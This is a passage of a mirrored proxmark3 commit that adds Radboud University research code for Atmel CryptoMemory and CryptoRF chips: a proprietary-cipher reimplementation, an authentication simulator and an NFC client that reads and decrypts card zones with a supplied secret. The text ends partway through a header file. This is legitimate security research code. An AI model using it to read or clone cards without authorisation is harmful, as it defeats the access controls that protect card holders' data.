mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-19 21:03:48 -07:00
added the securememory simulator_recovery code by @Roel et al
This commit is contained in:
parent
1689a73101
commit
073e79553e
13 changed files with 3062 additions and 0 deletions
30
tools/cryptorf/Makefile
Normal file
30
tools/cryptorf/Makefile
Normal file
|
@ -0,0 +1,30 @@
|
|||
CC = gcc
|
||||
CXX = g++
|
||||
LD = gcc
|
||||
LXX = g++
|
||||
CFLAGS = -W -Wall -O4
|
||||
CXXFLAGS = -W -Wall -O4 -std=c++11
|
||||
LDFLAGS =
|
||||
LXXFLAGS = -lpthread
|
||||
|
||||
OBJS = cryptolib.o util.o
|
||||
HEADERS = cryptolib.h util.h
|
||||
SRC = cryptolib.c util.c
|
||||
EXES = cm sm sma sma_multi crf
|
||||
|
||||
all: $(OBJS) $(EXES)
|
||||
|
||||
%.o : %.c
|
||||
$(CC) $(CFLAGS) -c -o $@ $<
|
||||
|
||||
% : %.c $(OBJS)
|
||||
$(LD) $(CFLAGS) $(LDFLAGS) -o $@ $< $(OBJS)
|
||||
|
||||
% : %.cpp $(SRC)
|
||||
$(LXX) $(CXXFLAGS) -o $@ $< $(SRC) $(LXXFLAGS)
|
||||
|
||||
crf: crf.c $(OBJS)
|
||||
$(LD) $(CFLAGS) $(LDFLAGS) -o crf $< $(OBJS) -lnfc
|
||||
|
||||
clean:
|
||||
rm -f $(OBJS) $(EXES) crf
|
89
tools/cryptorf/cm.c
Normal file
89
tools/cryptorf/cm.c
Normal file
|
@ -0,0 +1,89 @@
|
|||
/*
|
||||
*
|
||||
* CryptoMemory simulation
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "defines.h"
|
||||
#include "cryptolib.h"
|
||||
#include "util.h"
|
||||
|
||||
int main(int argc, const char* argv[])
|
||||
{
|
||||
// Cryptomemory state
|
||||
crypto_state_t s;
|
||||
|
||||
// Main authentication values
|
||||
byte_t Q[8]; // Reader key-auth random
|
||||
byte_t Gc[8]; // Secret seed
|
||||
byte_t Ci[8]; // Card random (last state)
|
||||
byte_t Ch[8]; // Reader answer (challenge)
|
||||
byte_t Ci_1[8]; // Card answer
|
||||
byte_t Ci_2[8]; // Session key
|
||||
|
||||
// Session authentication values
|
||||
byte_t Qs[8]; // Reader session-auth random
|
||||
byte_t Chs[8]; // Reader session-answer (challenge)
|
||||
byte_t Ci_1s[8]; // Card answer for session
|
||||
byte_t Ci_2s[8]; // Is this used?
|
||||
|
||||
// Various argument options
|
||||
ui64 nGc; // Card secret
|
||||
ui64 nCi; // Card random
|
||||
ui64 nQ; // Reader main-random
|
||||
ui64 nQs; // Reader session-random
|
||||
|
||||
// Show header and help syntax
|
||||
printf("CryptoMemory simulator - (c) Radboud University Nijmegen\n");
|
||||
if (argc < 5)
|
||||
{
|
||||
printf("\nsyntax: cm <Gc> <Ci> <Q> <Q(s)>\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Parse arguments
|
||||
sscanf(argv[1],"%016llx",&nGc); num_to_bytes(nGc,8,Gc);
|
||||
sscanf(argv[2],"%016llx",&nCi); num_to_bytes(nCi,8,Ci);
|
||||
sscanf(argv[3],"%016llx",&nQ); num_to_bytes(nQ,8,Q);
|
||||
sscanf(argv[4],"%016llx",&nQs); num_to_bytes(nQs,8,Qs);
|
||||
|
||||
// Calculate authentication
|
||||
cm_auth(Gc,Ci,Q,Ch,Ci_1,Ci_2,&s);
|
||||
|
||||
printf("\nAuthenticate\n");
|
||||
printf(" Gc: "); print_bytes(Gc,8);
|
||||
printf(" Ci: "); print_bytes(Ci,8);
|
||||
printf(" Q: "); print_bytes(Q,8);
|
||||
printf(" Ch: "); print_bytes(Ch,8);
|
||||
printf(" Ci+1: "); print_bytes(Ci_1,8);
|
||||
printf(" Ci+2: "); print_bytes(Ci_2,8);
|
||||
|
||||
cm_auth(Ci_2,Ci_1,Qs,Chs,Ci_1s,Ci_2s,&s);
|
||||
|
||||
printf("\nVerify Crypto (Session Key)\n");
|
||||
printf(" Gc(s): "); print_bytes(Ci_2,8);
|
||||
printf(" Ci(s): "); print_bytes(Ci_1,8);
|
||||
printf(" Q(s): "); print_bytes(Qs,8);
|
||||
printf(" Ch(s): "); print_bytes(Chs,8);
|
||||
printf("Ci+1(s): "); print_bytes(Ci_1s,8);
|
||||
printf("Ci+2(s): "); print_bytes(Ci_2s,8);
|
||||
|
||||
printf("\n");
|
||||
return 0;
|
||||
}
|
294
tools/cryptorf/crf.c
Normal file
294
tools/cryptorf/crf.c
Normal file
|
@ -0,0 +1,294 @@
|
|||
/*
|
||||
*
|
||||
* CryptoRF simulation
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "defines.h"
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
#include <nfc/nfc.h>
|
||||
#include "cryptolib.h"
|
||||
#include "util.h"
|
||||
|
||||
// ~dirty globals for lazy use of libnfc
|
||||
static dev_info* pdi; // NFC device info
|
||||
static tag_info ti; // Tag info (card serial, etc.)
|
||||
byte_t abtRx[MAX_FRAME_LEN]; // Communication buffer
|
||||
size_t szRxLen; // Length of communication buffer
|
||||
|
||||
void print_decryption(const byte_t* ct, const byte_t* pt, size_t len) {
|
||||
size_t pos,count;
|
||||
|
||||
for (count = 0; count < len; count += 8) {
|
||||
printf(" ");
|
||||
for (pos = 0; pos < 8; pos++){
|
||||
if ((count+pos)<len) {
|
||||
printf("%02x ",ct[count+pos]);
|
||||
} else {
|
||||
printf(" ");
|
||||
}
|
||||
}
|
||||
|
||||
printf(" => ");
|
||||
for (pos = 0; pos < 8; pos++) {
|
||||
if ((count + pos) < len) {
|
||||
printf("%02x ", pt[count + pos]);
|
||||
} else {
|
||||
printf(" ");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
bool transmit_bytes(const byte_t* pbtTx, const size_t szTxLen) {
|
||||
printf("R: ");
|
||||
print_bytes(pbtTx, szTxLen);
|
||||
|
||||
// Transmit the command bytes
|
||||
if (!nfc_initiator_transceive_bytes(pdi, pbtTx, szTxLen, abtRx, (uint32_t*)&szRxLen)) {
|
||||
printf("\nERROR: Communication failed\n\n");
|
||||
nfc_disconnect(pdi);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("T: ");
|
||||
print_bytes(abtRx, szRxLen);
|
||||
|
||||
// Succesful transfer
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
#define PWD_NOT_USED (uint32_t)(~0)
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
// Various parameters
|
||||
crypto_state_t s; // Cryptomemory state
|
||||
size_t pos; // Position counter
|
||||
|
||||
// Main authentication values
|
||||
byte_t Q[8]; // Reader key-auth random
|
||||
byte_t Gc[8]; // Secret seed
|
||||
byte_t Ci[8]; // Card random (last state)
|
||||
byte_t Ch[8]; // Reader answer (challenge)
|
||||
byte_t Ci_1[8]; // Card answer
|
||||
byte_t Ci_2[8]; // Session key
|
||||
|
||||
// Session authentication values
|
||||
byte_t Qs[8]; // Reader session-auth random
|
||||
byte_t Chs[8]; // Reader session-answer (challenge)
|
||||
byte_t Ci_1s[8]; // Card answer for session
|
||||
byte_t Ci_2s[8]; // Is this used?
|
||||
|
||||
// Various argument options
|
||||
ui64 Gc0; // First card secret
|
||||
uint32_t zone; // Number of userzone
|
||||
uint32_t offset; // Offset address
|
||||
uint32_t len; // Length
|
||||
uint32_t pwd; // Optional read password
|
||||
|
||||
// Application buffers
|
||||
byte_t pt[MAX_FRAME_LEN]; // Plaintext
|
||||
byte_t ct[MAX_FRAME_LEN]; // Ciphertext
|
||||
byte_t mac[2];
|
||||
|
||||
byte_t crf_read_ci[2 + 2] = { 0x16,0x00,0x50,0x07 }; // Read first card random Ci0 (offset 50, len 8)
|
||||
byte_t crf_check_pwd[2 + 3] = { 0x1c,0x00 }; // Provide (optional) read password
|
||||
byte_t crf_auth[2 + 16] = { 0x18,0x00 }; // Authenticate using card secret Gc0 and Ci
|
||||
byte_t crf_verify[2 + 16] = { 0x18,0x10 }; // Authenticate with session key
|
||||
byte_t crf_set_zone[1 + 1] = { 0x11 }; // Set the userzone to read from
|
||||
byte_t crf_read_zone[2 + 2] = { 0x12,0x00 }; // Read n-bytes from offset
|
||||
byte_t crf_read_mac[ 4] = { 0x16,0x02,0xff,0x01 }; // Read n-bytes from offset
|
||||
|
||||
// Show header and help syntax
|
||||
printf("CryptoRF example - (c) Radboud University Nijmegen\n\n");
|
||||
if (argc < 5) {
|
||||
printf("syntax: crf <Gc0> <zone> <offset> <len> [pwd]\n\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Parse command-line arguments
|
||||
sscanf(argv[1],"%016llx", &Gc0);
|
||||
sscanf(argv[2],"%02x", &zone);
|
||||
sscanf(argv[3],"%02x", &offset);
|
||||
sscanf(argv[4],"%02x", &len);
|
||||
|
||||
// Construct CryptoRF frames
|
||||
num_to_bytes(Gc0, 8, Gc);
|
||||
crf_set_zone[1] = zone;
|
||||
crf_read_zone[2] = offset;
|
||||
crf_read_zone[3] = (len == 0) ? 0 : (len - 1);
|
||||
|
||||
// Check if the optional password argument was used
|
||||
if (argc == 6) {
|
||||
sscanf(argv[5], "%06x", &pwd);
|
||||
num_to_bytes(pwd, 3, crf_check_pwd + 2);
|
||||
} else {
|
||||
pwd = PWD_NOT_USED;
|
||||
}
|
||||
|
||||
// Initialize randoms
|
||||
srand((uint32_t)time(0));
|
||||
|
||||
for (pos = 0; pos < 8; pos++) {
|
||||
Q[pos] = rand();
|
||||
Qs[pos] = rand();
|
||||
}
|
||||
|
||||
// Try to open the NFC device
|
||||
pdi = nfc_connect(NULL);
|
||||
if (pdi == INVALID_DEVICE_INFO) {
|
||||
printf("ERROR: Unable to connect to NFC device.\n");
|
||||
return 1;
|
||||
}
|
||||
nfc_initiator_init(pdi);
|
||||
|
||||
// Drop the field for a while
|
||||
nfc_configure(pdi, DCO_ACTIVATE_FIELD, true);
|
||||
|
||||
// Let the reader only try once to find a tag
|
||||
nfc_configure(pdi, DCO_INFINITE_SELECT, false);
|
||||
|
||||
// Configure the CRC and Parity settings
|
||||
nfc_configure(pdi, DCO_HANDLE_CRC, true);
|
||||
nfc_configure(pdi, DCO_HANDLE_PARITY, true);
|
||||
|
||||
printf("Connected to NFC device: %s\n\n", pdi->acName);
|
||||
|
||||
// Poll for a ISO14443-B cryptomemory tag
|
||||
if (!nfc_initiator_select_tag(pdi, IM_ISO14443B_106, (byte_t*)"\x00", 1, &ti)) {
|
||||
printf("ERROR: Can not find a Atmel CryptoRF card.\n\n");
|
||||
nfc_disconnect(pdi);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("The following (NFC) ISO14443-B tag was found:\n\n");
|
||||
printf(" ATQB: "); print_bytes(ti.tib.abtAtqb, 12);
|
||||
printf(" ID: "); print_bytes(ti.tib.abtId, 4);
|
||||
printf(" CID: %02x\n", ti.tib.btCid);
|
||||
printf(" PARAMS: %02x %02x %02x %02x\n\n"
|
||||
,ti.tib.btParam1
|
||||
,ti.tib.btParam2
|
||||
,ti.tib.btParam3
|
||||
,ti.tib.btParam4
|
||||
);
|
||||
|
||||
|
||||
printf("Changing active userzone\n");
|
||||
transmit_bytes(crf_set_zone, sizeof(crf_set_zone));
|
||||
printf("\n");
|
||||
|
||||
if (pwd != PWD_NOT_USED) {
|
||||
printf("Suppling password for communication\n");
|
||||
transmit_bytes(crf_check_pwd, sizeof(crf_check_pwd));
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
printf("Reading first Ci(0) from the system zone (offset = 0x50)\n");
|
||||
transmit_bytes(crf_read_ci, sizeof(crf_read_ci));
|
||||
printf("\n");
|
||||
|
||||
// Save the retrieved value of Ci
|
||||
memcpy(Ci, abtRx + 2, 8);
|
||||
|
||||
// Calculate key-authentication
|
||||
printf("* Computing authentication values with card secret\n\n");
|
||||
cm_auth(Gc, Ci, Q, Ch, Ci_1, Ci_2, &s);
|
||||
memcpy(crf_auth + 2, Q, 8);
|
||||
memcpy(crf_auth + 10, Ch, 8);
|
||||
|
||||
printf("Authenticate using Gc, Ci and random Q\n");
|
||||
transmit_bytes(crf_auth, sizeof(crf_auth));
|
||||
printf("\n");
|
||||
|
||||
printf("Reading new Ci value from the system zone (tag-answer)\n");
|
||||
transmit_bytes(crf_read_ci, sizeof(crf_read_ci));
|
||||
printf("\n");
|
||||
|
||||
if (memcmp(Ci_1, abtRx + 2, 8) != 0) {
|
||||
printf("ERROR: Authentication failed\n\n");
|
||||
nfc_disconnect(pdi);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Calculate session-authentication
|
||||
printf("* Computing authentication values with session key\n\n");
|
||||
cm_auth(Ci_2, Ci_1, Qs, Chs, Ci_1s, Ci_2s, &s);
|
||||
memcpy(crf_verify + 2, Qs, 8);
|
||||
memcpy(crf_verify + 10, Chs, 8);
|
||||
|
||||
printf("VerifyCrypto using session key and initialize encryption\n");
|
||||
transmit_bytes(crf_verify, sizeof(crf_verify));
|
||||
printf("\n");
|
||||
|
||||
printf("Reading new Ci value from the system zone (tag-answer)\n");
|
||||
transmit_bytes(crf_read_ci, sizeof(crf_read_ci));
|
||||
printf("\n");
|
||||
|
||||
if (memcmp(Ci_1s, abtRx + 2, 8) != 0) {
|
||||
printf("ERROR: Session authentication failed\n\n");
|
||||
nfc_disconnect(pdi);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("* Updating the cipher by grinding Ci (offset,len,data)\n\n");
|
||||
cm_grind_read_system_zone(0x50, 8, Ci_1s, &s);
|
||||
|
||||
printf("Read the data from the offset using the encrypted channel\n");
|
||||
transmit_bytes(crf_read_zone, sizeof(crf_read_zone));
|
||||
printf("\n");
|
||||
|
||||
if (abtRx[1] != 0) {
|
||||
printf("ERROR: Reading failed, maybe you need to supply a password\n\n");
|
||||
nfc_disconnect(pdi);
|
||||
return 1;
|
||||
}
|
||||
memcpy(ct, abtRx + 2, len);
|
||||
|
||||
printf("* Decrypting...");
|
||||
cm_decrypt(offset, len, ct, pt, &s);
|
||||
printf("done\n\n");
|
||||
print_decryption(ct, pt, len);
|
||||
printf("\n");
|
||||
|
||||
if (pwd != PWD_NOT_USED) {
|
||||
num_to_bytes(pwd, 3, pt);
|
||||
cm_password(pt, crf_check_pwd + 2, &s);
|
||||
printf("Testing the feature to supply an encrypted password\n");
|
||||
transmit_bytes(crf_check_pwd, sizeof(crf_check_pwd));
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
// Calculate and check mac
|
||||
cm_mac(mac, &s);
|
||||
printf("Verify checksum for the transaction: %02x %02x\n", mac[0], mac[1]);
|
||||
transmit_bytes(crf_read_mac, sizeof(crf_read_mac));
|
||||
if (memcmp(mac, abtRx + 2, 2) != 0) {
|
||||
printf("ERROR: MAC checksum failed\n\n");
|
||||
nfc_disconnect(pdi);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Communication succesful!\n\n");
|
||||
nfc_disconnect(pdi);
|
||||
return 0;
|
||||
}
|
||||
|
359
tools/cryptorf/cryptolib.c
Normal file
359
tools/cryptorf/cryptolib.c
Normal file
|
@ -0,0 +1,359 @@
|
|||
/*
|
||||
*
|
||||
* SecureMemory, CryptoMemory and CryptoRF library
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "cryptolib.h"
|
||||
|
||||
typedef enum {
|
||||
CA_ENCRYPT = 0x01,
|
||||
CA_DECRYPT = 0x02
|
||||
} CryptoAction;
|
||||
|
||||
int counter=0;
|
||||
|
||||
byte_t nibbles_to_byte(nibble b0, nibble b1)
|
||||
{
|
||||
// Combine both nibbles
|
||||
return ((b0<<4)|b1);
|
||||
}
|
||||
|
||||
byte_t funny_mod(byte_t a, byte_t m)
|
||||
{
|
||||
// Just return the input when this is less or equal than the modular value
|
||||
if (a<m) return a;
|
||||
|
||||
// Compute the modular value
|
||||
a %= m;
|
||||
|
||||
// Return the funny value, when the output was now zero, return the modular value
|
||||
return (a == 0) ? m : a;
|
||||
}
|
||||
|
||||
byte_t bit_rotate_left(byte_t a, byte_t n_bits)
|
||||
{
|
||||
// Rotate value a with the length of n_bits only 1 time
|
||||
byte_t mask = (1 << n_bits) - 1;
|
||||
return ((a << 1) | (a >> (n_bits - 1))) & mask;
|
||||
}
|
||||
|
||||
void reconstruct_nibbles(crypto_state s)
|
||||
{
|
||||
byte_t b1,b5,b8,b15,b18;
|
||||
byte_t b0,b4,b7,b14,b17;
|
||||
|
||||
// Extract the bytes that generated the "previous" nibble
|
||||
b1 = (byte_t)((s->l >> 25) & 0x1f);
|
||||
b5 = (byte_t)((s->l >> 5) & 0x1f);
|
||||
b8 = (byte_t)((s->m >> 35) & 0x1f);
|
||||
b15 = (byte_t)((s->r >> 15) & 0x1f);
|
||||
b18 = (byte_t)(s->r & 0x1f);
|
||||
|
||||
// Reconstruct the b0 nibble
|
||||
s->b0 = ((b1 ^ b5) & 0x0f) & ~(b8);
|
||||
s->b0 |= ((b15 ^ b18) & 0x0f) & b8;
|
||||
|
||||
// Extract the bytes for the current nibble
|
||||
b0 = (byte_t)((s->l >> 30) & 0x1f);
|
||||
b4 = (byte_t)((s->l >> 10) & 0x1f);
|
||||
b7 = (byte_t)((s->m >> 42) & 0x1f);
|
||||
b14 = (byte_t)((s->r >> 20) & 0x1f);
|
||||
b17 = (byte_t)((s->r >> 5) & 0x1f);
|
||||
|
||||
// Construct the values for b1 generation
|
||||
s->b1l = ((b0 ^ b4) & 0x0f);
|
||||
s->b1r = ((b14 ^ b17) & 0x0f);
|
||||
s->b1s = b7;
|
||||
|
||||
// Reconstruct the b1 nibble
|
||||
s->b1 = s->b1l & ~(s->b1s);
|
||||
s->b1 |= s->b1r & s->b1s;
|
||||
}
|
||||
|
||||
void next_left(byte_t in, crypto_state s)
|
||||
{
|
||||
byte_t b3, b6, bx;
|
||||
|
||||
// Update the left cipher state with the input byte
|
||||
s->l ^= ((in & 0x1f) << 20);
|
||||
|
||||
// Extract the two (5 bits) values used for modular addtion
|
||||
b3 = (byte_t)((s->l >> 15) & 0x1f);
|
||||
b6 = (byte_t)(s->l & 0x1f);
|
||||
|
||||
// Compute the modular addition
|
||||
bx = funny_mod(b3 + bit_rotate_left(b6,5),0x1f);
|
||||
|
||||
// Rotate the left cipher state 5 bits
|
||||
s->l = ((s->l >> 5)| ((uint64_t)bx << 30));
|
||||
|
||||
// Save the 4 left output bits used for b1
|
||||
s->b1l = ((bx^b3) & 0x0f);
|
||||
}
|
||||
|
||||
void next_right(byte_t in, crypto_state s)
|
||||
{
|
||||
byte_t b16, b18, bx;
|
||||
|
||||
// Update the right cipher state with the input byte
|
||||
s->r ^= ((in & 0xf8) << 12);
|
||||
|
||||
// Extract the two (5 bits) values used for modular addtion
|
||||
b16 = (byte_t)((s->r >> 10) & 0x1f);
|
||||
b18 = (byte_t)(s->r & 0x1f);
|
||||
|
||||
// Compute the modular addition
|
||||
bx = funny_mod(b18 + b16,0x1f);
|
||||
|
||||
// Rotate the right cipher state 5 bits
|
||||
s->r = ((s->r >> 5) | ((uint64_t)bx << 20));
|
||||
|
||||
// Save the 4 right output bits used for b1
|
||||
s->b1r = ((bx^b16) & 0x0f);
|
||||
}
|
||||
|
||||
void next_middle(byte_t in, crypto_state s)
|
||||
{
|
||||
byte_t b12, b13, bx;
|
||||
|
||||
// Update the middle cipher state with the input byte
|
||||
s->m ^= (((((uint64_t)in << 3) & 0x7f) | (in >> 5)) << 14);
|
||||
|
||||
// Extract the two (7 bits) values used for modular addtion
|
||||
b12 = (byte_t)((s->m >> 7) & 0x7f);
|
||||
b13 = (byte_t)(s->m & 0x7f);
|
||||
|
||||
// Compute the modular addition
|
||||
bx = (funny_mod(b12 + bit_rotate_left(b13,7),0x7f));
|
||||
|
||||
// Rotate the middle cipher state 7 bits
|
||||
s->m = ((s->m >> 7)| ((uint64_t)bx << 42));
|
||||
|
||||
// Save the 4 middle selector bits used for b1
|
||||
s->b1s = bx & 0x0f;
|
||||
}
|
||||
|
||||
void next(const bool feedback, byte_t in, crypto_state s)
|
||||
{
|
||||
// Initialize the (optional) input parameter
|
||||
byte_t a = in;
|
||||
|
||||
// Only Cryptomemory uses feedback
|
||||
if (feedback)
|
||||
{
|
||||
// Construct the cipher update 'a' from (input ^ feedback)
|
||||
a = in ^ nibbles_to_byte(s->b0,s->b1);
|
||||
}
|
||||
|
||||
// Shift the cipher state
|
||||
next_left(a,s);
|
||||
next_middle(a,s);
|
||||
next_right(a,s);
|
||||
|
||||
// For active states we can use the available (previous) 'b1' nibble,
|
||||
// otherwise use reconstruct_nibbles() to generate them
|
||||
// reconstruct_nibbles(s)
|
||||
|
||||
// The nible from b1 shifts to b0
|
||||
s->b0 = s->b1;
|
||||
|
||||
// Construct the new value of nible b1
|
||||
s->b1 = s->b1l & ~(s->b1s);
|
||||
s->b1 |= s->b1r & s->b1s;
|
||||
}
|
||||
|
||||
void next_n(const bool feedback, size_t n, byte_t in, crypto_state s)
|
||||
{
|
||||
// While n-rounds left, shift the cipher
|
||||
while (n--) next(feedback,in, s);
|
||||
}
|
||||
|
||||
void initialize(const bool feedback, const byte_t* Gc, const byte_t* Ci, const byte_t* Q, const size_t n, crypto_state s)
|
||||
{
|
||||
size_t pos;
|
||||
|
||||
// Reset the cipher state
|
||||
memset(s,0x00,sizeof(crypto_state_t));
|
||||
|
||||
// Load in the ci (tag-nonce), together with the first half of Q (reader-nonce)
|
||||
for (pos = 0; pos < 4; pos++)
|
||||
{
|
||||
next_n(feedback,n,Ci[2*pos ],s);
|
||||
next_n(feedback,n,Ci[2*pos+1],s);
|
||||
next(feedback,Q[pos],s);
|
||||
}
|
||||
|
||||
// Load in the diversified key (Gc), together with the second half of Q (reader-nonce)
|
||||
for (pos = 0; pos < 4; pos++)
|
||||
{
|
||||
next_n(feedback,n,Gc[2*pos ],s);
|
||||
next_n(feedback,n,Gc[2*pos+1],s);
|
||||
next(feedback,Q[pos+4],s);
|
||||
}
|
||||
}
|
||||
|
||||
byte_t cm_byte(crypto_state s)
|
||||
{
|
||||
// Construct keystream byte by combining both nibbles
|
||||
return nibbles_to_byte(s->b0,s->b1);
|
||||
}
|
||||
|
||||
byte_t sm_byte(crypto_state s) {
|
||||
byte_t ks;
|
||||
|
||||
// Construct keystream byte by combining 2 parts from 4 nibbles
|
||||
next_n(false,2,0,s);
|
||||
ks = s->b1 << 4;
|
||||
next_n(false,2,0,s);
|
||||
ks |= s->b1;
|
||||
|
||||
return ks;
|
||||
}
|
||||
|
||||
void print_crypto_state(const char* text,crypto_state s) {
|
||||
int pos;
|
||||
|
||||
printf("%s",text);
|
||||
for(pos = 6; pos >= 0; pos--)
|
||||
printf(" %02x", (byte_t)(s->l >> (pos * 5)) & 0x1f);
|
||||
|
||||
printf(" |");
|
||||
for(pos = 6; pos >= 0; pos--)
|
||||
printf(" %02x", (byte_t)(s->m >> (pos * 7)) & 0x7f);
|
||||
|
||||
printf(" |");
|
||||
for(pos = 4; pos >= 0; pos--)
|
||||
printf(" %02x", (byte_t)(s->r >> (pos * 5)) & 0x1f);
|
||||
|
||||
printf(" | %02x",cm_byte(s));
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
void sm_auth(const byte_t* Gc, const byte_t* Ci, const byte_t* Q, byte_t* Ch, byte_t* Ci_1, crypto_state s) {
|
||||
size_t pos;
|
||||
|
||||
initialize(false,Gc,Ci,Q,1,s);
|
||||
|
||||
// Generate challange answer for Tag and Reader
|
||||
for (pos=0; pos<8; pos++) {
|
||||
Ci_1[pos] = sm_byte(s);
|
||||
Ch[pos] = sm_byte(s);
|
||||
}
|
||||
}
|
||||
|
||||
void cm_auth(const byte_t* Gc, const byte_t* Ci, const byte_t* Q, byte_t* Ch, byte_t* Ci_1, byte_t* Ci_2, crypto_state s) {
|
||||
size_t pos;
|
||||
|
||||
initialize(true,Gc,Ci,Q,3,s);
|
||||
|
||||
// Construct the reader-answer (challange)
|
||||
next_n(true,6,0,s);
|
||||
Ch[0] = cm_byte(s);
|
||||
for (pos = 1; pos < 8; pos++)
|
||||
{
|
||||
next_n(true,7,0,s);
|
||||
Ch [pos] = cm_byte(s);
|
||||
}
|
||||
|
||||
// Construct the tag-answer (Ci+1 = ff .. .. .. .. .. .. ..)
|
||||
Ci_1[0] = 0xff;
|
||||
for (pos = 1; pos < 8; pos++)
|
||||
{
|
||||
next_n(true,2,0,s);
|
||||
Ci_1[pos] = cm_byte(s);
|
||||
}
|
||||
|
||||
// Construct the session key (Ci+2)
|
||||
for (pos = 0; pos < 8; pos++)
|
||||
{
|
||||
next_n(true,2,0,s);
|
||||
Ci_2[pos] = cm_byte(s);
|
||||
}
|
||||
|
||||
// Prepare the cipher for encryption by shifting 3 more times
|
||||
next_n(true,3,0,s);
|
||||
}
|
||||
|
||||
void cm_crypt(const CryptoAction ca, const byte_t offset, const byte_t len, const byte_t* in, byte_t* out, crypto_state s) {
|
||||
size_t pos;
|
||||
byte_t bt;
|
||||
|
||||
next_n(true,5,0,s);
|
||||
next(true,offset,s);
|
||||
next_n(true,5,0,s);
|
||||
next(true,len,s);
|
||||
for (pos=0; pos<len; pos++)
|
||||
{
|
||||
// Perform the crypto operation
|
||||
bt = in[pos] ^ cm_byte(s);
|
||||
|
||||
// Generate output
|
||||
if (out) out[pos] = bt;
|
||||
|
||||
// Detect where to find the plaintext for loading into cipher state
|
||||
if (ca == CA_DECRYPT)
|
||||
{
|
||||
next(true,bt,s);
|
||||
} else {
|
||||
next(true,in[pos],s);
|
||||
}
|
||||
|
||||
// Shift the cipher state 5 times
|
||||
next_n(true,5,0,s);
|
||||
}
|
||||
}
|
||||
|
||||
void cm_encrypt(const byte_t offset, const byte_t len, const byte_t* ct, byte_t* pt, crypto_state s) {
|
||||
next_n(true, 5, 0, s);
|
||||
next(true, 0, s);
|
||||
cm_crypt(CA_ENCRYPT, offset, len, ct, pt, s);
|
||||
}
|
||||
|
||||
void cm_decrypt(const byte_t offset, const byte_t len, const byte_t* ct, byte_t* pt, crypto_state s) {
|
||||
next_n(true, 5, 0, s);
|
||||
next(true, 0, s);
|
||||
cm_crypt(CA_DECRYPT, offset, len, ct, pt, s);
|
||||
}
|
||||
|
||||
void cm_grind_read_system_zone(const byte_t offset, const byte_t len, const byte_t* pt, crypto_state s) {
|
||||
cm_crypt(CA_ENCRYPT, offset, len, pt, null, s);
|
||||
}
|
||||
|
||||
void cm_grind_set_user_zone(const byte_t zone, crypto_state s) {
|
||||
next(true, zone, s);
|
||||
}
|
||||
|
||||
void cm_mac(byte_t* mac, crypto_state s) {
|
||||
next_n(true,10,0,s);
|
||||
if (mac)
|
||||
mac[0] = cm_byte(s);
|
||||
|
||||
next_n(true,5,0,s);
|
||||
if (mac)
|
||||
mac[1] = cm_byte(s);
|
||||
}
|
||||
|
||||
void cm_password(const byte_t* pt, byte_t* ct, crypto_state s) {
|
||||
for (size_t pos = 0; pos < 3; pos++) {
|
||||
next_n(true, 5, pt[pos], s);
|
||||
ct[pos] = cm_byte(s);
|
||||
}
|
||||
}
|
||||
|
56
tools/cryptorf/cryptolib.h
Normal file
56
tools/cryptorf/cryptolib.h
Normal file
|
@ -0,0 +1,56 @@
|
|||
/*
|
||||
*
|
||||
* SecureMemory, CryptoMemory and CryptoRF library
|
||||
*
|
||||
* Copyright (C) 2010, Flavio D. Garcia, Peter van Rossum, Roel Verdult
|
||||
* and Ronny Wichers Schreur. Radboud University Nijmegen
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
